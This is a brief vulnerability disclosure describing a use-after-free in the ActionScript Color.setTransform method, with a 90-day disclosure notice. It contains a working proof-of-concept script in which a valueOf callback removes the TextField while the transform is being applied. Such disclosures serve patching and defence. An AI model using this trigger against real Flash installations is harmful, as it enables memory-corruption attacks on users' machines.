If Color.setTransform is set to a transform that deletes the field it is called on, a UaF occurs. A PoC is as follows:
var tf:TextField = this.createTextField("tf",1,1,1,4,4)
var n = new Object();
n.valueOf = function () {
trace("here");
tf.removeTextField()
}
var o = {ra: n, rb:8};
var c = new Color(tf)
c.setTransform(o)
A sample swf and fla are attached.
This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.